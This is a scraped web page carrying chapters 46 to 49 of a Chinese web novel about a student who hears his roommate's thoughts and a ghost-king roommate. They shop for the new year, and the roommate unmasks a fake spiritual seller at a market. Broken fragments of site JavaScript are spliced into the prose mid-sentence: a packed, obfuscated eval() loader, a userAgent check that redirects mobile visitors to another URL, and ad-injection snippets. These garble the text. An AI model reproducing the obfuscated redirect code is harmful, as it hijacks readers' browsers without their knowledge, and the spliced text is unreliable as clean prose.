0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721179|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着自己,嘴角带着淡淡的笑。 “一早上没见你,所以拿完外卖就在这里等。” 溪白听见顾弛说。 …… 沿着楼梯往上走,溪白第五次被绊到脚尖。 顾弛伸手揽住他,将向前摔倒的人护住。 只是这一次,那只搭在他肩头的手并没有像之前几次那般扶稳他后就放开。 溪白盯着那只手看了一会,还是没反应。 他抬起头。 “怕你再摔了。” 顾弛的眼睛依旧干净,干净到让人不住怀疑他是不是没有一丝旖念。 “就这样带着你上去,可能会安全些。” “没事的。”溪白摇头,坚持从顾弛的怀里挣脱出来。 他揉了揉自己的脸,道:“我现在已经清醒了。” 顾弛看着溪白把自己揉圆搓扁的样子,垂在身侧的手搓了搓指尖。 他嗯了一声,“行,那你小心些。” 一路回到宿舍,溪白都没再被绊倒过。 顾弛站在桌边,一边将外卖拿出来拆好,一边问溪白。 “下午有其他的讲座吗?” 这家伙对他的课表分明了如指掌……溪白觉得顾弛有明知故问的嫌疑,但还是道:“没了,考完试了,最后一堂讲座在明天。” “那吃完饭我们睡个午觉吧,我看你好像精神不太足,是不是太累了。” 顾弛一边问一边靠近了一点,语带关切。 “身体有没有不舒服?” 舒服……溪白又一次想到昨晚顾弛说的话。 昨天晚上,他就是被顾弛这样堵在浴室的角落里,男生灼热的吐息一阵一阵,愈发急促地打在颈侧。 顾弛还要不停地抒发着自己的感受。 “溪白,好舒服……” 溪白脸一热,心跳加速之间他伸出手,按住了顾弛的脑袋往外推了一点。 靠太近了! 顾弛愣了愣。 他还看着溪白,但明显的,眼角眉梢有些许耷拉了下来。 就是这一点细微的表情变化,让顾弛从微笑大狗变成了委屈大狗。 “没有不舒服。” 溪白被他的反应带得下意识地说了一句。 等回过神来的时候,他的手掌已经按着顾弛的脑袋揉了几把。 蓬松的。 手感比他想象的还要好。 46.第 46 章 溪白眨了眨眼,猛然清醒过来,意识到自己做了什么的他赶紧想要抽回手。 但手腕却被顾弛抓住。 男生的力量可不是说着玩的,溪白只觉得手腕被那温度滚烫的手掌包裹住后,他就再也动弹不得了。 “我,你……” 相比起自己的紧张与无措,顾弛依旧直白和坦然得让溪白眼前一阵发晕。 “要不要再摸两下。”顾弛的眼睛睁得大大的,哪里还有什么委屈大狗的神情,“我看你好像挺喜欢的。” 溪白慌乱地支开话题道:“快吃饭吧!” “我饿了。”他违心地说道。 别说感知到饿了,他现在在顾弛身边吃饭,估计都食不知味了。 顾弛盯着他看了一会儿,最后莞尔一笑。 “好,吃饭吧。” 他拉着人到桌边坐下,拆好米饭,又送上筷子。 溪白就这样被安排得明明白白,顾弛说什么,他做什么。 顾弛给他夹了块红烧肉,说是让厨子特意按他喜欢的口味做得偏甜了一点什么的……溪白脑子乱乱的,也没有听进去。 甜咸香刺激了味蕾,溪白微微回过神。 耳垂似乎有些痒意,他转过头,才发现顾弛正双手撑着他的椅背,俯身侧着脸看他。 顾弛按着椅背的手掌重新搭在了溪白的肩头,手指压着布料,轻轻蹭着。 见溪白看自己,他神色自若地道:“合你口味吗?” 那双干净带着笑意的眼睛,在这一刻仿佛染上了如昨晚在浴室里一般的色彩。 溪白感受着肩头仿若挑弄,一按一按的轻微力道,他转过头不敢再去看顾弛。 “好吃。” 在乱得没有章法的心跳声中,他只能听到自己的呼吸。 但很快,另一个声音也参与了进来。 「溪白。」 溪白抬起头,顾弛正拆着他自己的那双筷子。 感受到目光,他还好奇地看了回去,“怎么了?” 溪白摇了摇头,继续低头吃饭。 然后又听到刚刚那个声音轻轻笑了一下。 「好可爱。」 溪白抓着筷子的手指一紧,脸唰一下,又红了。 溪白搓了搓耳朵。 “怎么了?”顾弛见他盯着自己,停下手里的筷子。 “没事。”溪白说了句,又搓了搓耳朵。 顾弛刚刚说什么来着? 溪白悄悄看了顾弛一眼,碗里被夹进一块糖醋藕。 他的手伸过去,和顾弛的手背轻轻碰了一下。 彼此的动作都有一瞬间的停顿。 “你也吃一块。”溪白说着,也给顾弛夹菜。 这一次碰到的是手臂。 但接连两次的触碰,溪白都没有再从顾弛的心声里听到刚刚那句话。 可是,顾弛的确是夸他可爱了。 溪白给了自己一个肯定的答案。 什么情况下,一个男生会夸另一个男生可爱? [神算子:他喜欢你] 溪白抱着手机坐在床上。床下方,顾弛动作娴熟地打包好垃圾——几个月前他连带防盗扣的餐盒都不会开。 顾弛喜欢自己吗? 这一次,溪白却不敢肯定了。 他会夸庄算可爱吗?溪白心想,某些情况下,比如庄算叽叽喳喳的时候,应该是会的吧。 但他会直接说出来,因为他知道自己对庄算并没有除了朋友之外的感情,而且小蒜头也不可能对此产生其他误会。 可他刚刚听见的是顾弛的心声。 在心里偷偷夸一个人可爱……溪白忍不住地将事情往更加暧昧的方面去想,但是理智又告诉他每个人的性格不同。 有的人比如他,在大多数时候都是不藏着不掖着。 但有的人天生就是性格内敛——直到现在,体育学院的那些男生都还觉得顾弛性子有些冷——虽然溪白对此持保留意见。 溪白抱着手机发呆,顾弛已经扔完了垃圾洗干净手进来了。 男生身材高大,长腿一踩楼梯,两三步就上来了。 溪白就感觉人刚还在底下,下一秒就到了自己面前。 “睡觉吗?”顾弛问。 溪白划出自己和庄算的聊天界面,思索了一下,点点头。 顾弛朝他弯起唇角,又变成了熟悉的微笑大狗。 但很快他就笑不出来了。 溪白躺下后,侧身睡着,面向过道。 他睡的本来就是靠外面的那一侧,这个睡姿可以说是背对着顾弛了。 但其实早从几个月前开始,溪白和顾弛睡在一起,大多数时间是平躺着睡,但在顾弛怀里醒来。 两个人早已从刚开始的无言尴尬,到后面的心照不宣。 偶尔溪白累了会直接迷迷糊糊地“不小心”滚进顾弛的怀里,顾弛也“睡得很快”,没有把那颗脑袋从自己胸口上挪开。 在溪白眼里,顾弛是对于这种事情毫不在意——万一人家就是钢筋直男脑袋觉得睡一起什么姿势都很正常呢? 而在顾弛的眼里,溪白就像只小猫,冬天冷了就往他怀里钻。 虽然没有任何其他的心思,但顾弛却觉得,哪怕只是这么抱着溪白睡觉,也是好的。 至于互帮互助的事情……双方都默契地把这事按到了心底。 都怕自己“想多了”,最后按捺不住心潮表了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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声音里带着低落,背后是浓浓的委屈。 溪白忍住了伸手去摸顾弛脑袋,再狠狠揉一把的冲动。 他依旧保持着背对着顾弛的睡姿,直到过了一会儿,背后响起一声似有若无的哀叹。 溪白呜了一声,像是梦里的呓语,他动作缓慢,像是半梦半醒的状态,缓缓转过了身。 脑袋靠上了顾弛那温暖而有力的胸膛,还往里面蹭了蹭。 手臂屈起放在彼此的身体之间,勉强拉开了一点距离,但也让溪白的动作,看上去更像是睡着时无意识的举动。 很快,一只小心翼翼,但带着私心的手随之环上了腰,掌心贴着背脊,将“睡着”的人往自己怀里悄悄带了一点。 这一次,溪白听到了一阵咚咚咚的心跳声。 还有于此之中夹杂着的一句,带着强烈快乐情绪的…… 「溪白…抱抱!」 47.第 47 章 一觉睡醒,溪白睁开眼的时候,天已经黑了。 他刚动弹了一下,一只勾在他腰后的那只手臂就悄悄扯了回去。 “醒了?”顾弛坐起来,“肚子饿了吗?” “唔,有点。”溪白摸了摸自己的肚皮,道。 一双浮现出淡淡红光的眼睛在黑暗之中一直注视着他的动作,自然也没放过那只手撩起衣摆时,露出来的一小片柔软雪白。 浑然不觉的溪白拿过手机打开外卖软件,屏幕光将四周照亮些许,那双注视着他的眼睛随之闭上。 再度睁开时,顾弛的眼睛又变成了原本的模样。 严格意义上来说,现在已经是寒假了,北城大学的食堂也休假了不少,基本上每天只有几个不太好吃的窗口开着。 溪白翻了一下外卖软件,发现大学城周围的外卖也停了,就连他最喜欢吃的烤冷面,摊主也在前几天发了群公告祝大家假期快乐,他先回老家过年去了。 “你不回家,爸妈不催你?”溪白问。 顾弛道:“我没父母。” 溪白张着嘴愣住,良久,他尴尬地低下头。 “抱歉,我不知道。” 虽然他自己也在孤儿院长大。 但提起别人的伤心事,总归是不好的。 溪白暗骂自己:这张嘴真是…… 看顾弛平日里一身贵气,有的时候脑回路完全不接地气,很多时候花钱也不怎么节制的样子,溪白还以为他是什么被养得不谙世事的贵公子。 却不想顾弛是一个人长大……也难怪,他会对人情世故那么生疏。 溪白沉浸在浓浓的愧疚之中,而他对面的顾弛则是歪了歪脑袋,望着满脸懊恼之色的人,眼底浮现出些许困惑。 为什么要说抱歉? 他是鬼,得天地气运而生,自然是没有人类的父母血亲的。 非要说的话……天为父,地为母? 两个人完全不知道彼此的脑回路已经差了十万八千里,溪白见顾弛似乎没有生气的样子,连忙转移了话题。 “你有什么想吃的外卖吗,或者,我们出去吃?” 顾弛:“那我们出去吃吧。” 出去吃,就能多和溪白说话了。 溪白心想也好,正合他意。 出去吃的话,就有更多机会试探顾弛了。 两个人各怀心思,上了车,溪白导航了离北城大学比较近的一个商业广场。 年关将至,整个北城的装潢也都焕新了一番,街道两旁的树上挂着大大小小的灯笼,路中间也架上了各式各样的花灯。 今年的花灯和往年的似乎并不一样,以前大多是龙凤、莲花、云纹等常见的,象征着吉祥寓意的形制。 但今年路上的花灯却多了很多种溪白认不出来的“动物”。 停在红灯前,顾弛转头看着扒着窗户向外看的溪白,后脑勺圆乎乎的。 真可爱。 随意扫了一眼,顾弛道:“那是乘黄。” “城隍?”溪白纳闷,“城隍爷吗?” “乘黄,又叫飞黄,腾黄,你们人……”顾弛意识到自己差点说漏了,赶紧咳嗽了一声改口,“我们常说的’飞黄腾达’,就是源自这一神兽。” 乘黄是瑞兽,形似狐狸,背生鹿角,据说谁能骑上乘黄的背,就能增寿两千岁。 溪白点了点头,又指着另一个:“那个呢,看着像是凤凰,但又有点区别。” 顾弛辨认了一眼,“青鸾,西王母的信使。” “那个呢?” “白泽,通晓天地鬼神,瑞兽。” “那边的?” “当康,丰收之兆。” …… 溪白一一问下来,眼睛都亮了几分。 “顾弛,你怎么全都认识!” 顾弛有些不好意思,但又有些得以地摸了摸鼻子。 “咳,书上看到的,这些都是《山海经》里的神兽。” 经他这么一说,溪白才反应过来,他回忆了一下当初考古代经典书目时背的一些篇章,终于对上了一二。 溪白恍然大悟,“诶,还真是!” 这条街在今年恰好搞了什么古风文化节,所以连路边的花灯也与众不同。 溪白一开始都没往古代神兽上面想,只以为是什么新设计的长相奇妙的吉祥物,谁知道顾弛一个练体育的,居然比他这个文学院的学生还要敏锐。 顾弛咳嗽了一声,前方的红灯转变为绿灯,他踩下油门,“恰好比较熟悉。” 可不是熟悉么。 青丘之国就在地府不远处,那些狐狸天天叫唤;白泽没事干就跑去他那边喝茶,说人类里的谁谁谁又在做什么坏事;飞黄说想跟隔壁的白仙老祖借一身刺,省得谁看到他都想往上骑…… 顾弛看了一眼专心致志地搜索神兽图片,和路边的花灯形象对比的溪白。 还是先别带溪白和那些不靠谱的家伙见面了。 免得吓到他。 溪白对比够了,放下手机。 “顾弛。” 他一边刷着微信,一边叫了身旁的人一声。 顾弛嗯了一声。 “那你过年这段时间,有什么其他安排吗?”溪白问。 顾弛想了想道:“没什么安排。” 地府里的事情有其他鬼差安排,无厢逃脱的事情也暂时没有了什么危险,再加上地府里的生魂、鬼怪、鬼差、冥将,像顾弛这样自天地气运而生的鬼终究还是极少数,大部分的鬼在生前也都是人。 换句话说:鬼也是要过年的! 溪白噢了一声,搭在膝盖上的手指捏着裤腿的布料轻轻扯了扯。 “那,那你会留在学校吗?” 顾弛专心开着车,闻言并未细想,“如果学校没什么事情的话可能不留。” 他也得回地府看一眼最近的情况,不能完全当甩手掌柜。 溪白深吸了一口气,“好吧。” 顾弛后知后觉地意识到溪白似乎话里有话,可还没等他觉得哪里不对,就听溪白又一次开口,语气带着点遗憾。 “那我寒假只能一个人在宿舍了。” 溪白悄悄看了一眼顾弛那边,收回视线,仰头摸了摸下巴,“找谁一起过年呢……” 哔—— 汽车喇叭响起嘹亮一声,溪白转头,像是被吓了一跳。 “咳,手滑。”顾弛说了声抱歉,“那个,我,我过年应该也留在学校。” 溪白抿了抿唇,忍着笑意。 “真的啊?” 顾弛点了点头,耳朵都胀红了。 “嗯!” 溪白笑眯眯的。 “好呀,那我们一起过年。” ※ 时间过得很快,转眼就到了年二十八,北城大学的学生们基本都已经回家了,校园里肉眼可见地变得冷清了下来。 但有的人却觉得温馨又热闹。 因为心里被喜悦的情绪所填满,连早上看到太阳从挂满霜棱的树林后带着一身的灿金升起来,都觉得格外有看头。 “别盯着太阳,对眼睛不好。”溪白伸手挡住了顾弛的眉眼。 手掌覆影下的血红竖瞳在一瞬间变为了日常的浅褐色,顾弛转过脑袋,很听话地点头。 “准备出门吗?”他问溪白。 春节快到了,他们也打算把宿舍布置一下,也不用多复杂,基本上贴个春联,挂个门饰就差不多了。 顺便可以去集市逛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他愣在原地,下一秒,溪白拿起旁边的乳液,往掌心里又挤了一把。 “你也涂点。”溪白扑上去一通揉搓。 说是揉搓,但手上的力道还是很轻的。 他伸长了手臂,勉强能摸到顾弛的脑门,于是白皙的十根指头就沾着乳液在顾弛的脸上一通乱摸。 一开始顾弛还下意识地锁了一下眉,但很快他就放松了下来。 直到溪白作乱完毕了,才道:“我能睁眼了吗?” 乖得溪白都有些不好意思了,轻咳了一声点点头。 等了一会儿才反应过来顾弛看不到,于是开口:“嗯,可以了。” 顾弛睁眼的时候,看到的是一双纤细修长的手臂,他下意识地往两旁扫视了几眼。 观察到顾弛的表情动作,溪白这才反应过来:他的手还在顾弛脸上按着呢! 也不怪溪白忘了,虽然他基本上每天早上都在顾弛怀里醒来,各种各样的近距离视角都看了个遍,也确定了这家伙的脸什么死亡角度都能扛得住。 但碰顾弛的脸,这还是第一次。 刚刚一时冲动就上了手,碰的时候手感又出奇的好,男生的骨相立体而又苍劲利落,就是很标准的那种帅气。而且顾弛又是体育学院的,平日里经常在阳光下跑跳,可皮肤摸起来却很细腻光滑。 回过神的溪白也有些不好意思了。 他悄悄看了一眼顾弛,却意外地抓住了点别的“救命稻草”。 于是溪白舔了舔发干的唇,开口,尽量镇定地道:“……你耳朵,好红。” 话音落下,指尖还带着刻意戳弄了两下,那两只本就染上了几分绯色的耳朵,顿时更是鲜红一片。 顾弛还没来得及说话,溪白就先转身跑了。 因为再不跑,就又要轮到他的耳朵红了。 48.第 48 章 虽然只有两天就是除夕了,但其实除了大学城这边,整个北市还是有相对来说比较热闹的地方的。 反正在学校里也没别的事情可干,于是溪白和顾弛一商议,立即拍板开车来了北城最大的集市。 到了集市大门口旁边的地图一看,溪白这才对这里有了点概念。 “哇,怪不得那么多人!”溪白扯着顾弛的袖口,望着密密麻麻的人群感叹了一句。 这集市里,足足有三条长街那么多的摊档。 一进集市大街牌坊,迎面而来的就是一些很古味的老物件,布老虎、木雕刻、拨浪鼓之类;再往前就是干货坚果,瓜子零食一类的散装年货;拐过另一条街是一整街的花卉盆桔,还有兰花、富贵竹之类很得父母辈喜爱的盆栽。 而溪白他们要买的门帘挂饰之类,在最后一条街。 “刚好可以顺路逛过去。”溪白说着东张西望,伸手戳了戳旁边红布木桌上摆着的一只套娃。 摊主小姐姐立刻笑眯眯迎上来,“要买套娃吗,我们家是自己手工雕刻和上色的。” 溪白想了想,眼睛一转,计上心头,他拿着套娃放到自己脑袋边,转身。 “好看吗!”他问顾弛。 顾弛点了点头,“嗯,好看。” 没什么波澜的语气。 溪白笑着把东西放了回去,和摊主道谢:“我先看看,有需要来买。” 路过一个风车小档,溪白问摊主买了一个纸扎风车,鼓起腮帮子吹得呼呼响。 他看了一眼顾弛,伸手去拉他胳膊,眼睛亮亮的,“你玩吗?” 顾弛只看着他笑。 “你玩就好。” 又是很安静的一颗心。 市集里人不少,从老至少都有,溪白一路走一路看,跑到这边摊档拿起这个看一眼,转身又溜去那边。 他试着努力表现得“可爱”的样子,想要以此多刺激几下顾弛,想看看能不能从对方心里听到一些什么不一样的东西。 但事与愿违,不管溪白怎么“卖萌”,甚至到他自己都脚趾抓地了,顾弛的反应——至少心里的反应——依旧很平静。 可别说,无心插柳柳成荫,集市里仔细淘淘,溪白的确买到了不少好东西。 他给庄算买了一只手工的狼毫尖笔,又给庄术买了一块成色非常好的朱砂——庄家两兄弟帮了他不少忙,溪白肯定是要投桃报李的。 又在一个奇石档口买了一块很好的原磁石,到时候问问庄算能不能用在他的罗盘上,上次溪白搞坏了庄算的罗盘,虽然对方没有计较,但他心里还是歉意的。 继续往前,溪白在路过一个竹编小摊时,正打算凑上前看一下,却被不远处的另一个摊档吸引了注意力。 那摊位前很热闹,围了不少人,后排的都伸长了脖子往里边瞧。 看出溪白想要凑热闹的想法,顾弛主动开口。 “去看看?” 溪白连连点头,往熙熙攘攘的人群中钻,顾弛紧紧跟在他半个身位后。 鼻息之间是溪白发丝上的淡淡洗发水香味,目光扫视过四周,顾弛轻轻挑了挑眉。 他在人群里察觉到了一些不同的气息。 不过应该没有坏心,就是年节人气多,跑出来凑个热闹。 顾弛这般想着便也不管了。 “诶,那里!”溪白看到人群中有人转身离开让了个空,立刻拉着顾弛钻了进去,占到了前排。 两人凑近低头看了一眼档口卖的东西,对视一眼。 木雕、石雕、玉雕——不过不是成色很好的玉,就是很普通的那种玉石,收藏价值不高,但带来装饰还是不错。 摊主是个瘦小的五十多岁的老头,一双眯眯眼,脸上皱褶不少,他正坐在蒲团上,和旁边一个拉着孩子的贵妇人说话。 虽然明显是吆卖,但他的腔调却拿捏得十足,一手拈着老长的老鼠须。 “我乃正统传承的出马弟子,堂口就在道口那边。”他另一只手拿着把看着像水烟枪的东西,抬起宽袍下的手臂往旁边一指。 虽然他的表情理直气壮,助长了几分气势,但溪白看着他的动作,只觉得像是随手指了个方向。 溪白看了顾弛一眼。 顾弛也看他:? 溪白摇摇头,继续看那老头。 自称出马仙的老头收回了手臂,继续和贵妇人说话,他拿着手里的水烟枪,在面前木桌上的各种雕饰上点了点。 “别看这些小东西不起眼,那可都是经过仙家开光的。” 贵妇人听着眼睛都亮了亮,她应该在这里呆了挺久了,旁边牵着的小孩都有些不耐烦地抓着母亲的袖子拉扯,边东张西望。 “别动,听大师说!”贵妇人呵斥了扁着嘴的孩子一句,转头又看那老头,“那大师,您这些……神物,都有什么功效啊?” 溪白听见耳旁传来一声轻笑,转过头,就见顾弛挑了挑嘴角。 但这笑容并非往日里男生那种阳光大狗模样的温暖微笑,而是溪白从没在顾弛脸上见过的,流露出淡淡不屑的冷笑。 那出马仙似乎也听到了,斜着眼睛睨了一眼溪白这边。 “你看我这五种雕饰,分别对应了五线里的胡黄白柳灰,开光也都找了对应的仙家,功效自然也是不同,趋吉避凶、保佑孩童、求财、求子……你要什么,仙家都能满足。” 他说着清了清嗓子,拔高腔调:“只有无知竖子,才会觉得这些东西看着不起眼。” 所谓胡黄白柳灰,就是出马里的五大仙家,分别对应了狐狸、黄鼠狼、刺猬、蛇还有老鼠。出马仙在平日里会在自己的堂口供奉这些成了仙家的动物们,而出马的时候,会作法请对应的仙家上身作法。 不同的仙家有不同的能力,即使是同一种仙家,比如狐仙,在不同方面也各有所长。 出马仙一脉传承已有上千年,目前主要在华夏的北方比较活跃,尤其是东北三省,几乎没有不知晓这些仙家的存在的。 “那是那是,我看大师也是仙风道骨。”贵妇人没听见顾弛那声嗤笑,还以为大师在敲打自己,赶紧诚意十足地附和。 “那,大师。”贵妇人说着拿出手机,“您这请一个开光的神物,要多少钱呢?我想买一个给我孩子,保佑他健康长大,哦对,学习也要好!” 他说着从桌面上摸了个小木雕上手,放到了贵妇人面前。 “那边请个狐仙娘娘回家吧,保佑孩子健康聪明的……” 贵妇人连连点头,开口问价,就见那自称出马仙的老头眼珠滴溜溜一转,开口就要:“我和你们相见也是有缘,就只收你一个成本价。” “成本价……”贵妇人眨了眨眼,玄学还有成本价不成本价的吗? 那假出马仙一看对方怀疑,赶紧开口转移话题,“也不贵,就两万,保证你家孩子长成人中龙凤,我这些木雕都是让仙家上身后手工刻出来的,沾染了不少仙气……” 顾弛听了只觉得好笑——让狐仙,保佑人类,长成龙凤。 而溪白听了则觉得好奇,他扫了一眼这桌面上放着的什么狐狸木雕,盘蛇玉璧之类的……看着和刚刚在路口卖的工艺品很像啊,明显是工厂模具压出来的。 只是他的手刚一触碰到那个看着像小刺猬,又像长了刺的黄鼠狼,分不清是白仙还是黄线的小木雕,就听旁边传来一声暴喝。 “喂,那个小子,你干什么!” 那假出马仙早就注意到溪白这边了,刚刚顾弛的嘲笑本就惹得他不快,只是心思专注在那贵妇人身上,顾着诱导对方重金购买自己的东西,无暇理会这头。 眼见着贵妇人掏出手机准备扫码付钱了,而这头溪白又“胆大包天”地动他的“开光神物”,那出马仙可算找到机会发作了。 他冲着溪白一通数落,无非就是“竖子无知”,“胆大包天”,“脏手岂敢动他开过光的神物”之类,想到什么就说什么。 却没发现站在溪白身后的顾弛,脸色早已瞬间黑了下来。 顾弛从溪白手里接过那个小小的木雕,将人护在身后,他眉毛一挑看向那出马仙,“你刚刚说,这些是什么?” 出马仙闻言转头,本想继续喷几句,可看到顾弛表情的那一刻,到了嘴边的话直接噎住了。 这小子什么眼神……出马仙的颈后都出了点汗。 顾弛的眼神冷得像冰,明明这两天都是晴天,太阳也正好,但那出马仙却被盯得背脊发凉。 他定了定神,打量了顾弛一眼,心说眼神再凶又怎样,看起来不过就是个毛都没长齐的青头小子,他还怕顾弛和溪白两个小孩子不成? “这是五大仙家的开光刻饰,怎么,你有什么意见吗!”出马仙吹胡子瞪眼地道。 一旁的贵妇人见他们要吵起来的样子,连忙开口劝架,“诶年轻人,你不要冲动啊,这个大师很厉害的,大师您也大人有大量,他们小孩子,还不懂事,别计较了啊……” 出马仙一听贵妇人不仅毫不怀疑,还坚定地站在自己这边,立刻又傲然了几分。 “听到没有小子,你现在最好赶紧给我,还有我身上的仙家道歉!否则……” 他眼神阴恻恻的,瞪圆了浑浊的眼睛,恐吓道:“否则仙家晚上去找你算账,你可承受不起!” 溪白有些紧张地看顾弛,后者却摆了摆手,示意他不用担心。 见顾弛依旧面无表情,甚至眼底还带着点嘲弄看着自己,出马仙愤怒伸手一指,“你小子,你知道你手上拿着的是谁吗!那可是白仙,晚上白仙就会钻进你的房间里,身上的尖刺穿透你的五脏六腑……” “你说这是白仙?”顾弛听不下去,直接开口打断了出马仙绘声绘色的恐吓。 他抛了抛手里的木雕,语气里带着冷笑,“你有本事大声点,再说一遍?” 周围的人早就都注意到了这边,或远或近地观察着事情的走向。 出乎所有人意料的是,在顾弛那句听着像小孩子吵架一样的威胁话语说出来后,原本理直气壮的出马仙,居然真的就不吭气了。 难道真像这年轻人所暗指的,这出马仙……有什么水分? 周围不少人都看出来了,贵妇人自然也精明地察觉到了什么。 她将弹出来的付款界面关闭了,也不说话,就这么静静地看着面前的出马仙。 出马仙本就心虚,见众人怀疑到自己头上,连到手的单子又要飞了,立刻吹起胡子,色厉内荏地摆出架子来。 只是他还没来得及再说顾弛什么,就见顾弛抬起手。 五指一握,直接把那木头雕的“白仙”给捏碎了。 声音就像被哽在了喉头,仿佛顾弛捏的不是木雕,而是那出马仙的脖子。 众人震惊地看着顾弛,就听他又一声冷笑。 “你管这叫白仙?就不怕像你说的,等夜深无人的时候,白仙去找你算账吗?” 他的语气甚至有些平静,但轻描淡写一句话说出来,加上那仿佛看透了一切的眼神。 出马仙对上顾弛的眼睛,后背立刻就汗湿了。 “你,我……” 字不成句,连话也说不出来,这下不管是谁,都知道他在骗人了。 但也有人好奇的,不是白仙,那是什么? 当然,包 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 括溪白,所以他就直接问了:“这不是白仙吗?” 顾弛摇了摇头,道:“这是犭戾[lì]。” 《山海经》 中记载,有一座叫“乐马”的山上,有一种生物浑身长满了火红色的毛发,外表像刺猬。 这本身没什么,但记载之中的最后一句说的是“见则其国大疫”——意思是它出现的地方,就会闹瘟疫。 这像刺猬的犭戾,毫无疑问是一只凶兽,而且是会带来瘟疫的凶兽。 而那贵妇人想要求的是孩子的健康成长,可这出马仙也不知道哪里找来的厂商,拿量产货装开光的吉祥物坑蒙拐骗也就罢了,甚至连白仙和犭戾都分不清楚。 贵妇人一听就炸了,把手机往包里一揣,伸手就去抓那出马仙的脸。 “你这老东西,骗钱就算了,居然敢害我孩子!” 她手上做了长长的美甲,一抓下去就留下数道血痕。 四周众人没一个劝架的,甚至有在出马仙这里买了所谓的吉祥物,逛完市集走回头路经过,听到吵闹声过来看了一眼,才发现自己被骗了的受害者。 一大帮子人同仇敌忾,顺便再加上几个凑热闹的正义之士。 很快那个出马仙的摊子也被砸了,等警察闻声赶到的时候,出马仙已经肿成了一个猪头。 溪白看着被警察以诈骗罪铐走的出马仙的背影,又看了看身旁的顾弛。 后者注意到视线,转头看他,“怎么?” “没。”溪白摇头,又认真地夸了一句道,“你真的好厉害。” 《山海经》总共分《山经》和《海经》,其中《山经》又分东南西北中五大卷,东南西北各4小卷,中山经12小卷,《海经》分内、外和大荒三大卷,各自有东南西北4小卷。 这些书溪白也都看过,读的时候简直痛苦不堪。因为《山海经》里翻译不过来的古字不少,用词也晦涩难懂,而且各种细节又杂又乱,他们专业课的老教授都不一定记得全,哪怕是期末考试考到了,也是考得比较常见的,大家都知道的那些知识点。 今天顾弛能辨认出古文化一条街那边的各种瑞兽花灯,已经很让溪白震惊了。 现在连犄角旮旯里的什么“犭戾”都能说得一清二楚,更是让他有些目瞪口呆,溪白甚至在想: “究竟你是文学院,还是我是文学院啊?”他忍不住说了一句。 顾弛一顿,有些不自然地转开视线。 “就是,平日里看的……书比较多。” 他抬手掩了掩唇,咳,差点又说漏嘴了。 溪白没多想,只以为顾弛是被自己夸得害羞了。 他笑嘻嘻地扯了扯顾弛的衣袖,“我们走吧,前面还好多逛的,我们要的东西还没买到呢。” 顾弛点了点头,随即又让溪白等一下。 溪白不明就里,但还是乖乖站在原地,他目光追随着顾弛的背影一路往前。 反正这家伙个子高,长得还帅,走在人群里简直就是鹤立鸡群,跟在发光一样,但溪白看不明白的是,顾弛好像就往人群里溜达了一圈,然后就转头回来,和自己说可以走了。 像是什么也没做似的。 两人往前走了一段,溪白还是好奇地回过头。 “怎么?”顾弛停下来看他。 “没。”溪白没发现人群里有什么异样,他摇摇头收回视线,心里有些纳闷。 所以顾弛刚刚干嘛去了? 而人群之中,一个带着白色鸭舌帽,身材清瘦的男子捏着帽子边缘,把帽沿压得更低了些。 他打开手掌,就见掌心里多了一枚黄纸符箓。 ——这是刚刚有个气场非常吓人的男人突然走过来,塞给他的。 男子看了符箓一会,只见上面用朱砂写的文字似乎是感应到了他的视线,居然悄然扭动变化起来。 红色的朱砂聚集在一起,逐渐变成了一枚箭头的形状,跃动着指向一个方向。 男子回过身,随着他站立方向的变化,原本扭着的箭头也变得平直。 而箭头的尖端,一直指着的,就是刚刚那离开的出马仙的方向! 男子将符箓收好,又压了压自己的帽子。 而帽子边沿一撮柔软的白色发丝下,露出来了一只耳朵。 尖尖的三角形,不是人类的耳朵。 而是……刺猬的耳朵! 溪白很快就把刚刚的事情泡到了脑后,拉着顾弛在各个花卉档口,好奇地看着店家培育出来的各种各样颜色奇特,或是样式新鲜的植物。 顾弛微笑应着,偶尔回头看向过来的路时,眼底会闪过一丝不为人所察觉的冷光。 他本来是不想管的,只是看溪白好奇,才陪着过来看看。 毕竟人间之事与他无关,阳间有无数生灵,人类自有其社会文化,他一个鬼王向来只涉地府之事,对阳世的绝大多数人类都没有任何兴趣。 但那假出马仙骂了溪白,可就不一样了。 顾弛想到这,嘴角挑起一道嘲弄的弧度。 虽然白仙对比起“胡黄柳灰”来说,脾气已经算是好的,但摊开来说,这五大仙就没有一脉的脾性是不邪性的。 那出马仙敢当着白仙的面,说一只晦气的犭戾是白仙。 看来这个年,他是别想好过了。 “顾弛!” 溪白发现了一盆迷你的小金桔,看着很适合摆在宿舍,立刻扬声喊人。 而早在他抬起头的那一瞬间,顾弛嘴角的那抹冷笑,就变成了温暖而又温和的大狗微笑。 “来了。” 顾弛温柔地应了一声,抬腿朝店里走去。 49.第 49 章 溪白挑的这家店和街道上大部分的花卉摊档不一样,主打的不是传统的那些盆栽桔树、兰花、红掌之类符合节日噱头,也更受中老年人欢迎的品种,而是走的新奇路线,比如南天竹、鸢尾、宫灯百合之类小众的,来吸引猎奇的年轻人。 店里已经进来了不少客人,但留下来认真挑选的,看着跟溪白和顾弛基本同龄。 溪白看中的是一盆迷你的小金桔,花盆就比他的巴掌大一圈,放到顾弛手心上估计还显小些。 湿润的土壤中间插·着两三根粗壮的主茎,厚实的圆瓣型绿叶之间,点缀着几颗深青色的金桔,有的成熟的比较早,已经有小半呈现出金橙色,米白色的陶盆擦得非常干净,上面贴着一张边角圆乎乎的方形红纸,描了一圈金边,正中用金灿灿的字体写着四个字:猫狗双全。 不仅是这盆,其他的花卉盆栽也有各式各样讨巧的小心思,比如仅有几盆的传统盆桔上,挂着Q版小动物的挂饰,而不是装饰用的红包。 “你觉得这两盆哪个比较好?”溪白指了指自己身旁一左一右。 左边的那盆金桔果实多一些,看起来比较满当;但右边的那盆树枝又比较笔挺,更有精气神一点。 